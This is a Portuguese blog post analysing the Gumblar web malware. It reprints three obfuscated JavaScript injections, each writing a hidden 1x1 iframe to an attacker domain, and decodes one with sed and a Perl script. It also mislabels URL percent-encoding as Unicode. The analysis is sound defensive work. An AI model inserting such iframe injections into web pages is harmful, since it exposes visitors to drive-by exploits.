Atenção! O conteúdo desse post contém material malicioso que pode danificar ou prejudicar o funcionamento de algum computador. Por favor, não execute ou acesse os links fornecidos aqui. Qualquer prejuízo devido acesso aos links ou scripts informados é de responsabilidade única do visitante desse blog. Não diga que não avisei :)

Hoje, tive a felicidade de encontrar alguns domínios com os exploits, ferramenta de exploração de vulnerabilidades, do Gumblar funcionando. Cada página que acessava era uma nova surpresa.

Vamos ao que interessa:

Os domínios originais do Gumblar são gumblar .cn e gcounter .cn. Ambos domínios estão fora do AR, então, isso quer dizer que o perigo acabou? Não, infelizmente não. Encontrei uma página que tinha no cabeçalho do arquivo o seguinte código em JavaScript :

script language=”JavaScript”>
document.write(unescape(“%3C%69%66%72%61%6D%65 %73%72%63%3D%22%68%74%74%70%3A%2F%2F%65%73%6C%69%34%74%6F%2E%62%69%7A%2F%74%65%73%74%2F%22 %77%69%64%74%68%3D%31 %68%65%69%67%68%74%3D%31%3E%3C%2F%69%66%72%61%6D%65%3E”));
/script
script language=”JavaScript”>
document.write(unescape(“%3C%69%66%72%61%6D%65 %73%72%63%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%66%61%6E%75%73%2E%72%75%2F%62%6F%6E%62%6F%6E%2F%69%6E%64%65%78%2E%70%68%70%22 %77%69%64%74%68%3D%31 %68%65%69%67%68%74%3D%31%3E%3C%2F%69%66%72%61%6D%65%3E”));
/script
script language=”JavaScript”>
document.write(unescape(“%3C%69%66%72%61%6D%65 %73%72%63%3D%22%68%74%74%70%3A%2F%2F%78%66%63%67%2E%69%6E%66%6F%2F%65%76%6F%2F%63%6F%75%6E%74%2E%70%68%70%3F%6F%3D%32%22 %77%69%64%74%68%3D%31 %68%65%69%67%68%74%3D%31%3E%3C%2F%69%66%72%61%6D%65%3E”));
/script

Antes de relevar o que esse monte de números e letras estão fazendo, vale notar o padrão encontrado nesse código:

%3C%69%66%72%61%6D%65

e

%68%65%69%67%68%74%3D%31%3E%3C%2F%69%66%72%61%6D%65%3E

Quem já desenvolveu páginas em .php, .html entre outras linguagens voltadas para WEB, conhece a formatação chamada TAG. Em termos gerais, cada TAG é responsável por um comportamento específico documento processado pelo Navegador de Internet. Por isso, como esses dois códigos estão se repetindo sempre no início e no final da linha, acredito que seja algum tipo de TAG e /TAG.

Mas o que quer dizer %3C, %69, etc? Boa pergunta, Joãozinho. Esse tipo de codificação também é conhecida como Unicode. Segundo a definição da Wikipédia:

Unicode (AFI: [ˈjuːnɪkoʊd]) é um padrão que permite aos computadores representar e manipular, de forma consistente, texto de qualquer sistema de escrita existente

Se você abrir a tabela UNICODE, fornecida pelo site www.unicode.org, e procurar pelo seguintes códigos:

003C
0069
0066
0072
0061
006D
0065

O resultado obtido será a string: iframe. A TAG iframe permite que outra página seja aberta dentro do próprio link visitado.

Como uma pessoa esperta, você acredita que o código “%73%72%63%3D%22%68%74%74%70%3A%2F%2F%65%73%6C%69%34%74%6F%2E%62%69%7A%2F%74%65%73%74%2F%22” deve ser o link que é executado pela TAG iframe. Sim, acertou.

Para não ficar “bizonho” de tanto olhar nessa tabela, fiz um script “meia boca” que facilita isso.

1) Abra o terminal do seu Linux e execute o seguinte comando:

echo “%73%72%63%3D%22%68%74%74%70%3A%2F%2F%65%73%6C%69%34%74%6F%2E%62%69%7A%2F%74%65%73%74%2F%22” | sed ‘s/\%/00/g’

O comando acima substitui tudo que tiver ‘%’ por ’00’. Agora, basta ler de 4 caracteres por vez e procurar na tabela o carinha. Gelou né?

Salvei o conteúdo desse resultado em um arquivo, por exemplo /tmp/teste, e rodei um script em perl que fiz (código ao final). O resultado sras e srs:

src=”http://esli4to. biz/test/”

Porque que o Gumblar é tão perigoso? Porque ele redireciona clientes para sites que tentam explorar vulnerabilidade em computadores que não estão atualizados, sem antivírus, firewall etc. O código abaixo foi removida da página acima e o que é mais interessante, o código dessa página não é estático, ou seja, acredito que o atacante tente explorar diversas vulnerabilidades no computador do usuário carregando vários códigos. Show né :)?

A imagem abaixo é uma pequena parte do código presente naquela página.

O conteúdo dentro de array, na verdade, é o código malicioso do gumblar. Como esse trecho é muito extenso, vou deixar para próxima essa análise.

Código em perl que transforma de unicode em caracteres.

#!/usr/bin/perl

use Encode;
open FILE, “/tmp/teste” or die $!;
my ($buf, $data, $n);

while (($n = read FILE, $data, 4) != 0) {
chomp($data);
my $teste = chr hex ($data);
print “$teste”;

$buf .= $data;
}
print “\n”;

close(FILE);

Para verificar se sua máquina está com alguem tipo de programa de código malicioso, instale a ferramenta: http://www.malwarebytes.org/

Fontes:
http://blog.unmaskparasites.com/2009/05/07/gumblar-cn-exploit-12-facts-about-this-injected-script/
http://www.w3schools.com/jsref/jsref_unescape.asp
http://www.w3schools.com/jsref/jsref_fromCharCode.asp
http://www.w3schools.com/jsref/jsref_eval.asp
http://www.w3schools.com/jsref/jsref_obj_math.asp
http://www.unicode.org/charts/